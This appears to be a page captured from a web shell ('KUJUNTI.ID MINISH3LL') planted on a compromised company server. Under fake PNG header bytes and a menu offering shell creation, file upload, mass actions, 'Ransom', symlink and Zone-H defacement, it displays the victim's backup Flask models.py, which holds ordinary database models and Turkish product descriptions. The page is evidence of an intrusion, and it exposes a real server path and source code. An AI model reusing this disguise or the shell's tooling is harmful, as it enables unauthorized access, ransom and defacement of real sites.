\x89PNG\r\n\x1a\n\x00\x00\x00\x0DIHDR\x00\x00\x00\x01\x00 \x00\x00\x01\x08\x06\x00\x00\x00\x1F\x15\xC4\x89\x00\x00\x00 \x0AIDATx\x9Ccb\x00\x00\x00\x06\x00\x03\x1A\x05\x9D\x00\x00 \x00\x00IEND\xAE\x42\x60\x82 www.csarite.com
KUJUNTI.ID MINISH3LL
Path : /var/www/html/ofisbulutta.com/OfisTeknoloji-20260522-yedek/
(S)h3ll Cr3at0r :
F!le Upl0ad :

B-Con CMD Config cPanel C-Rdp D-Log Info Jump Mass Ransom Symlink vHost Zone-H

Current File : /var/www/html/ofisbulutta.com/OfisTeknoloji-20260522-yedek/models.py


from dataclasses import dataclass
from datetime import datetime
from flask_babel import lazy_gettext as _l
from app import db
from flask_login import UserMixin
from werkzeug.security import generate_password_hash, check_password_hash
from flask_sqlalchemy import SQLAlchemy

class Admin(UserMixin, db.Model):
    __tablename__ = 'admin'
    
    id = db.Column(db.Integer, primary_key=True)
    username = db.Column(db.String(100), unique=True, nullable=False)
    email = db.Column(db.String(120), unique=True, nullable=False)
    password_hash = db.Column(db.String(128))
    two_factor_enabled = db.Column(db.Boolean, default=True, nullable=False)  # Changed to True by default
    two_factor_code = db.Column(db.String(6))
    two_factor_timestamp = db.Column(db.DateTime)

    def set_password(self, password):
        self.password_hash = generate_password_hash(password)

    def check_password(self, password):
        return check_password_hash(self.password_hash, password)

    def __repr__(self):
        return f'<Admin {self.username}>'

@dataclass
class Service:
    id: str
    name: str
    description: str
    icon: str
    details: str

# Define services
SERVICES = {
    'devops': Service(
        'devops',
        _l('DevOps Hizmetleri'),
        _l('Uzman DevOps hizmetlerimizle geliştirme ve operasyon süreçlerinizi optimize edin'),
        'fas fa-cogs',
        _l('DevOps hizmetlerimiz, organizasyonların sürekli entegrasyon, sürekli dağıtım ve '
           'otomatik dağıtım süreçlerini uygulamasına yardımcı olur.')
    ),
    'linux': Service(
        'linux',
        _l('Linux/Unix Hizmetleri'),
        _l('Uzman Linux ve Unix sistem yönetimi ve desteği'),
        'fab fa-linux',
        _l('Sistem kurulumu, güvenlik sıkılaştırma ve bakım dahil kapsamlı '
           'Linux/Unix yönetimi.')
    ),
    'databases': Service(
        'databases',
        _l('Veritabanı Hizmetleri'),
        _l('MySQL/MariaDB ve PostgreSQL veritabanı yönetimi ve optimizasyonu'),
        'fas fa-database',
        _l('MySQL, MariaDB ve PostgreSQL için profesyonel veritabanı yönetimi, '
           'optimizasyon ve bakım hizmetleri.')
    ),
    'mail': Service(
        'mail',
        _l('E-posta Çözümleri'),
        _l('Zimbra ve ETRN dahil komple e-posta çözümleri'),
        'fas fa-envelope',
        _l('Zimbra kurulumu, ETRN yapılandırması ve e-posta sunucusu yönetimi '
           'dahil kurumsal e-posta çözümleri.')
    ),
    'voip': Service(
        'voip',
        _l('VoIP Hizmetleri'),
        _l('Kurumsal iletişim için IP üzerinden ses iletimi çözümleri'),
        'fas fa-phone',
        _l('Verimli kurumsal iletişim için VoIP sistemlerinin kurulumu ve yönetimi.')
    ),
    'networking': Service(
        'networking',
        _l('Ağ Çözümleri'),
        _l('MikroTik yapılandırma ve ağ yönetimi'),
        'fas fa-network-wired',
        _l('MikroTik uzmanlığı ile profesyonel ağ yapılandırma, güvenlik ve '
           'yönetim hizmetleri.')
    ),
    'cloud': Service(
        'cloud',
        _l('Bulut Hizmetleri'),
        _l('Bulut sunucu ve dedike sunucu çözümleri'),
        'fas fa-cloud',
        _l('Bulut sunucular ve dedike sunucular dahil kapsamlı bulut altyapı çözümleri.')
    ),
    'datacenter': Service(
        'datacenter',
        _l('Veri Merkezi Hizmetleri'),
        _l('Profesyonel veri merkezi çözümleri ve yönetimi'),
        'fas fa-server',
        _l('Altyapı yönetimi, barındırma ve bakım dahil komple veri merkezi hizmetleri.')
    )
}

@dataclass
class Product:
    id: str
    name: str
    description: str
    features: list
    details: str
    icon: str
    highlights: list
    security_features: list

# Define products
PRODUCTS = {
    'fwaas': Product(
        'fwaas',
        _l('FWAAS Güvenlik Çözümü'),
        _l('Firewall-as-a-Service (FWaaS), siber saldırılara, kötü amaçlı yazılımlara ve '
           'diğer tehditlere karşı bulut tabanlı güvenlik duvarı teknolojileriyle koruma sağlar.'),
        [
            _l('Bulut Tabanlı Güvenlik'),
            _l('Otomatik Tehdit Algılama'),
            _l('Gerçek Zamanlı İzleme'),
            _l('Kolay Entegrasyon'),
            _l('7/24 Koruma')
        ],
        _l('Pahalı UTM cihazlarına ihtiyaç duymadan, bulut tabanlı güvenlik duvarı teknolojisiyle '
           'ağınızı koruyun. FWAAS ile yerel ağlarınız her zaman güvende!'),
        'fas fa-shield-alt',
        [
            _l('Merkezi Yönetim'),
            _l('Anlık Tehdit İzleme'),
            _l('Gelişmiş Raporlama'),
            _l('Uygun Maliyetli'),
            _l('Esnek Yapılandırma'),
            _l('Otomatik Güncellemeler')
        ],
        [
            _l('DDoS Koruması'),
            _l('IPS/IDS Sistemleri'),
            _l('Web Uygulama Güvenliği'),
            _l('VPN Desteği'),
            _l('SSL İnceleme'),
            _l('Gelişmiş Tehdit Koruması')
        ]
    ),
    'zimbra': Product(
        'zimbra',
        _l('Ofisbulutta Zimbra'),
        _l('Zimbra OSE tabanlı olarak geliştirilen kurumsal e-posta çözümü, güvenlik ve esnekliği bir arada sunar. '
           'Kendi altyapımızda Ceph Storage üzerine inşa edilmiş bu hizmet, kurumsal ihtiyaçlarınızı karşılayacak '
           'şekilde özelleştirilmiş ve geliştirilmiştir.'),
        [
            _l('Push e-posta özelliği'),
            _l('Takvim senkronizasyonu'),
            _l('Kişi senkronizasyonu'),
            _l('Görev senkronizasyonu'),
            _l('Paylaşımlı e-posta senkronizasyonu')
        ],
        _l('OB Z-mail, Zimbra OSE\'nin ötesine geçerek kurumsal e-posta ihtiyaçlarınızı karşılar. '
           '31 Aralık 2023 tarihinden itibaren Zimbra OSE sürümünün sonlanacak olması sebebiyle, '
           'kurumsal müşterilerimize kesintisiz, güvenli ve gelişmiş özelliklere sahip bir e-posta çözümü sunuyoruz. '
           'Profesyonel destek ekibimiz ve uygun fiyatlandırma politikamızla, kurumsal e-posta altyapınızı '
           'güçlendirmenize yardımcı oluyoruz. Zimbra OSE\'nin varsayılan sürümlerinde bulunmayan özellikleri '
           'entegre ederek, size eksiksiz bir e-posta yönetim sistemi sağlıyoruz. Özellikle gelişmiş yedekleme, '
           'Active Sync entegrasyonu ve USOM destekli güvenlik özellikleriyle, kurumsal ihtiyaçlarınızı tam olarak '
           'karşılayan bir çözüm sunuyoruz.'),
        'fas fa-envelope',
        [
            _l('120+ Özel IPv4 Adresi'),
            _l('Active Sync Entegrasyonu'),
            _l('Mailjoural ile Gelişmiş E-posta Arşivleme'),
            _l('KVKK Uyumlu Altyapı'),
            _l('7/24 Teknik Destek'),
            _l('Otomatik Yedekleme Sistemi')
        ],
        [
            _l('Otomatik IP Tabanlı Koruma'),
            _l('Gelişmiş Antispam Koruması (SPF, RBL, MX, RFC)'),
            _l('Özelleştirilebilir Gönderim Limitleri'),
            _l('Kara Liste / Beyaz Liste Yönetimi'),
            _l('USOM Entegrasyonu'),
            _l('Dağıtık IP Havuzu ile Güvenli Gönderim')
        ]
    ),
    'drive': Product(
        'drive',
        _l('OB Drive & Office'),
        _l('Nextcloud ve Collabora Office ile güçlendirilmiş bulut depolama ve ofis çözümü.'),
        [
            _l('Zimbra ile tam entegrasyon'),
            _l('Otomatik dosya senkronizasyonu'),
            _l('Online ofis özellikleri'),
            _l('Güvenli dosya paylaşımı'),
            _l('Çoklu cihaz desteği')
        ],
        _l('OB drive hizmeti Zimbra ile tam entegre olarak çalışmaktadır. Zimbra ile vermiş olduğumuz hizmette '
           'Active Sync (ortak takvim, kişi, mail) ile bağlantı sağlayıp, drive ile dosyalarınız için link oluşturma, '
           'direkt ekleme, link zaman aşımı süresi verme, şifre verme gibi işlemleri yapabilirsiniz. '
           'Link olarak gönderdiğiniz eklentilerinizi belirtilen zamanda kaldırabiliyor.\n\n'
           'Drive paketi eposta servisimizle tam olarak entegredir. Bu sayede yerel ağdaki bilgisayarlarınızdaki '
           'verilerinizi, dosyalarınızı buluta otomatik olarak gönderebileceksiniz. Cihazınız yanınızda olmasa bile '
           'verilerinize heryerden drive ile erişebiliecek ve online olarak ofis dosyalarınızı düzeltebilecek, '
           'direkt gönderebileceksiniz.\n\n'
           'Ofis sistemide online olarak odt, doc, docx, xlsx vb. dosyalarınızı çevrim içi (online) oluşturup, '
           'MS. ofis ürünlerine ekstra ücret ödemek zorunda değilsiniz.'),
        'fas fa-cloud',
        [
            _l('Sürükle-Bırak Dosya Yükleme'),
            _l('Gelişmiş Dosya Paylaşımı'),
            _l('Ofis Dosyaları Önizleme'),
            _l('Mobil Uygulama Desteği'),
            _l('Çevrimiçi Ofis Araçları'),
            _l('Otomatik Yedekleme')
        ],
        [
            _l('Uçtan Uca Şifreleme'),
            _l('Güvenli Dosya Paylaşımı'),
            _l('2 Faktörlü Kimlik Doğrulama'),
            _l('Detaylı Erişim Kontrolleri'),
            _l('Otomatik Dosya Kilitleme'),
            _l('Versiyon Kontrolü')
        ]
    ),
    'etrn': Product(
        'etrn',
        _l('Ofisbulutta ETRN'),
        _l('MTA bağımsız e-posta yedekleme ve koruma çözümü, e-posta sunucunuz erişilemez olduğunda bile kesintisiz iletişim sağlar.'),
        [
            _l('MTA Bağımsız Çalışma'),
            _l('E-posta Yedekleme'),
            _l('Anti-spam Koruması'),
            _l('Anti-virüs Taraması'),
            _l('ATRN Desteği')
        ],
        _l('ETRN hizmeti, MTA (Mail Transfer Agent) bağımsız olarak çalışan bir sistemdir. E-posta sunucunuzda '
           'bir sorun olduğunda, e-posta sunucunuzun önünde veya arkasında konumlanarak sisteminizi korumanıza '
           'yardımcı olur.\n\n'
           'E-posta sunucunuz internet bağlantısı, disk, RAM, CPU veya güvenlik sorunları nedeniyle erişilemez '
           'hale geldiğinde, OfisBulutta ETRN sistemleri üzerinden e-postalarınıza erişebilirsiniz. Dilerseniz, '
           'bu durumda gelen e-postalarınızı anti-spam ve anti-virüs taramasından da geçirebiliriz.\n\n'
           'Buna benzer bir diğer hizmetimiz ise ATRN hizmetidir. Bu hizmette, e-posta sunucunuza gelen e-postaları '
           'doğrudan biz karşılayabiliriz veya anti-spam ve anti-virüs taramasından geçirerek size ulaştırabiliriz.\n\n'
           'Bu hizmet sayesinde e-postalarınız asla kaybolmaz ve sürekli koruma altında olur. Kullandığınız herhangi '
           'bir e-posta sağlayıcısı veya yerel ağınızdaki bir e-posta sunucusu olabilir. Bu sistemlerde herhangi bir '
           'arıza meydana geldiğinde, şirketinize ulaşan tüm e-postaları görmek isteyebilirsiniz. İşte ETRN servisimiz '
           'tam olarak bunu sağlamaktadır.'),
        'fas fa-shield-alt',
        [
            _l('Kesintisiz E-posta Erişimi'),
            _l('Gelişmiş E-posta Güvenliği'),
            _l('Tam Yedekleme Desteği'),
            _l('Esnek Yapılandırma'),
            _l('7/24 İzleme'),
            _l('Hızlı Geçiş Desteği')
        ],
        [
            _l('Otomatik Yük Devretme'),
            _l('Gerçek Zamanlı Spam Koruması'),
            _l('Virüs Taraması'),
            _l('İleri Seviye Filtreleme'),
            _l('Güvenli Depolama'),
            _l('Şifreli İletişim')
        ]
    ),
    'santral': Product(
        'santral',
        _l('Ofisbulutta Santral'),
        _l('Sıfır maliyetle profesyonel IP santral çözümü. 5 yıllık Ar-Ge ve tecrübe ile geliştirilen '
           'NetIPBPX teknolojisi üzerine kurulu bulut tabanlı santral sistemi.'),
        [
            _l('Paylaşımlı ve Özel Santral'),
            _l('SSD Depolama'),
            _l('1Gbps Bağlantı'),
            _l('Cluster Mimarisi'),
            _l('Özel Entegrasyonlar')
        ],
        _l('Bulut santral "Ofisbulutta" ar-ge neticesinde ortaya çıkmış olan ve 5 senedir hizmet veren bir servistir. '
           'Servis yine ilk çıkış markası olan "NetIPBPX" ile devam etmektedir. Ofisbulutta ekibi olarak tüm '
           'servislerimizi "Ofisbulutta.com" üzerine taşıdık.\n\n'
           'Bulut santral hizmetimizle sıfır maliyetle IP santral kullanmış oluyorsunuz. Diğer bulut sistemler '
           'bizden sonra çıkmasına karşın hala bizim verdiğimiz özellikleri tam olarak veremiyorlar. '
           'Bizim iki adet servisimiz bulunuyor: paylaşımlı ve özel kategorilerde hizmet sunuyoruz. '
           'Baştan beri hem paylaşımlı (shared) hem de özel (private) bulut hizmetimiz %99.9 uptime ile çalışmaktadır.\n\n'
           'Özel bulut sistemimizde IP santral beklentilerinizin tamamını karşılayabiliyoruz ve size özel yapısı sayesinde '
           'tüm servisleri firmanız için kullanabiliyorsunuz. Bulut hizmetini verdiğimiz sistemimiz "SSD" veri '
           'depolama üniteleri üzerindedir ve 1000mbps (1Gbps) bağlantıya sahiptir. Tüm altyapımız kümeleme (Clustering) '
           'ile çalışır. Sistemlerimizin korumasını yine kendi geliştirdiğimiz NetfirewallOS korur.'),
        'fas fa-phone-alt',
        [
            _l('5 Yıllık Ar-Ge Tecrübesi'),
            _l('%99.9 Uptime Garantisi'),
            _l('NetIPBPX Teknolojisi'),
            _l('NetfirewallOS Güvenliği'),
            _l('7/24 Teknik Destek'),
            _l('Ölçeklenebilir Altyapı')
        ],
        [
            _l('T.C. Kimlik Doğrulama'),
            _l('SMS Entegrasyonu'),
            _l('Stok/Ürün Doğrulama'),
            _l('Özel API Entegrasyonları'),
            _l('Gelişmiş Güvenlik Duvarı'),
            _l('Yedekli Sistem Mimarisi')
        ]
    ),
    'obspotter': Product(
        'obspotter',
        _l('OBSPOTTER'),
        _l('Bağımsız çalışan gelişmiş kimlik doğrulama sistemi. Hotspot, Captive Portal özelliği ile ağ erişim kontrolü için ideal çözüm.'),
        [
            _l('Bağımsız Çalışma'),
            _l('Hotspot ve Captive Portal'),
            _l('Merkezi Erişim Kontrolü'),
            _l('TCKN ve SMS Doğrulama'),
            _l('VPN Kullanıcı Yönetimi')
        ],
        _l('OBSPOTTER cihazı, bağımsız olarak çalışmaktadır. Eğer elinizde bulunan UTM veya firewall cihazı '
           'Hotspot, Captive Portal destekliyorsa, çok cüzi bir fiyata OBSPOTTER\'ı kullanabilirsiniz. '
           'Üstelik toptan satın alma yapmadan...\n\n'
           'Eğer Captive Portal destekli bir sisteminiz yoksa, OBsense Firewall UTM ürünümüzü veya '
           'MT-Hotspot Gateway cihazını bizden temin edebilirsiniz. Pre-sales ekibimiz, yapınıza göre '
           'en uygun cihazı sizin için seçecektir.\n\n'
           'OBSPOTTER ile:\n'
           '• Lokasyon bağımsız, merkezi bir kimlik doğrulama, yetkilendirme ve erişim denetimi yapabilirsiniz.\n'
           '• 5651\'e uygun log üretebilirsiniz.\n'
           '• TCKN doğrulama ve SMS ile GSM doğrulaması yapabilirsiniz.\n'
           '• Misafir ağlarınızı ve VPN kullanıcılarınızı OBSPOTTER ile yönetebilirsiniz.'),
        'fas fa-fingerprint',
        [
            _l('Mevcut Sistemlerle Entegrasyon'),
            _l('Merkezi Kimlik Doğrulama'),
            _l('5651 Uyumlu Loglama'),
            _l('Misafir Ağ Yönetimi'),
            _l('Güvenli Erişim'),
            _l('Ölçeklenebilir Altyapı')
        ],
        [
            _l('UTM ve Firewall Entegrasyonu'),
            _l('Hotspot ve Captive Portal'),
            _l('TCKN ve SMS Doğrulama'),
            _l('5651 Uyumlu Log Kaydı'),
            _l('Merkezi Yönetim Paneli'),
            _l('VPN Kullanıcı Yönetimi')
        ]
    ),
    'obarchiver': Product(
        'obarchiver',
        _l('OBArchiver'),
        _l('Gelişmiş e-posta arşivleme, yedekleme ve geri yükleme çözümü. '
           'E-postalarınızı güvenle saklayın, yedekleyin ve gerektiğinde Zimbra\'ya geri yükleyin.'),
        [
            _l('Güvenli E-posta Arşivleme'),
            _l('Otomatik Yedekleme'),
            _l('Zimbra Geri Yükleme'),
            _l('Gelişmiş Arama'),
            _l('Detaylı Raporlama')
        ],
        _l('OBArchiver, kurumsal e-posta iletişiminizi güvenle arşivlemenizi ve yönetmenizi sağlar. '
           'Gelişmiş arşivleme özelliği ile e-postalarınız güvenli bir şekilde saklanır ve '
           'ihtiyaç duyduğunuzda kolayca erişilebilir.\n\n'
           'Otomatik yedekleme sistemi sayesinde verileriniz düzenli olarak yedeklenir, '
           'böylece veri kaybı riski minimuma indirilir. '
           'Zimbra sunucunuza geri yükleme özelliği ile arşivlenen e-postaları '
           'istediğiniz zaman tekrar sisteminize aktarabilirsiniz.\n\n'
           'Gelişmiş arama özellikleri ile arşivinizdeki e-postalara hızlıca ulaşabilir, '
           'detaylı raporlama araçları ile e-posta trafiğinizi analiz edebilirsiniz.'),
        'fas fa-archive',
        [
            _l('Güvenli Depolama'),
            _l('Hızlı Arşiv Erişimi'),
            _l('Kolay Geri Yükleme'),
            _l('Kapsamlı Arama'),
            _l('Detaylı Raporlar'),
            _l('7/24 Destek')
        ],
        [
            _l('Şifreli Arşivleme'),
            _l('Çoklu Yedekleme'),
            _l('Seçici Geri Yükleme'),
            _l('E-posta Analizi'),
            _l('Erişim Kontrolü'),
            _l('Denetim Günlüğü')
        ]
    )
}

class PageView(db.Model):
    id = db.Column(db.Integer, primary_key=True)
    url = db.Column(db.String(500), nullable=False)
    ip_address = db.Column(db.String(45), nullable=False)  # IPv6 support
    user_agent = db.Column(db.String(500))
    session_id = db.Column(db.String(256))  # Increased from 100 to 256 for longer session IDs
    timestamp = db.Column(db.DateTime, default=datetime.utcnow)
    # New fields for enhanced session tracking
    referrer = db.Column(db.String(500))  # Where the visitor came from
    duration = db.Column(db.Integer)  # Time spent on page in seconds
    event_type = db.Column(db.String(50))  # Type of interaction (pageview, click, etc)
    event_data = db.Column(db.JSON)  # Additional event data in JSON format

    def __repr__(self):
        return f'<PageView {self.url}>'

class Contact(db.Model):
    id = db.Column(db.Integer, primary_key=True)
    name = db.Column(db.String(100), nullable=False)
    email = db.Column(db.String(120), nullable=False)
    subject = db.Column(db.String(200), nullable=False)
    message = db.Column(db.Text, nullable=False)
    created_at = db.Column(db.DateTime, default=datetime.utcnow)

    def __repr__(self):
        return f'<Contact {self.email}>'

class Newsletter(db.Model):
    id = db.Column(db.Integer, primary_key=True)
    email = db.Column(db.String(120), unique=True, nullable=False)
    subscribed_at = db.Column(db.DateTime, default=datetime.utcnow)
    active = db.Column(db.Boolean, default=True)

    def __repr__(self):
        return f'<Newsletter {self.email}>'

class BlogPost(db.Model):
    __tablename__ = 'blog_post'
    
    id = db.Column(db.Integer, primary_key=True)
    title = db.Column(db.String(200), nullable=False)
    content = db.Column(db.Text, nullable=False)
    slug = db.Column(db.String(200), unique=True, nullable=False)
    summary = db.Column(db.String(500))
    image_url = db.Column(db.String(500))
    client_ip = db.Column(db.String(45))  # IP adresi için alan
    published = db.Column(db.Boolean, default=True)
    created_at = db.Column(db.DateTime, default=datetime.utcnow)
    updated_at = db.Column(db.DateTime, default=datetime.utcnow, onupdate=datetime.utcnow)

    def __repr__(self):
        return f'<BlogPost {self.title}>'

if __name__ == '__main__':
    app.run(debug=True)


© KUJUNTI.ID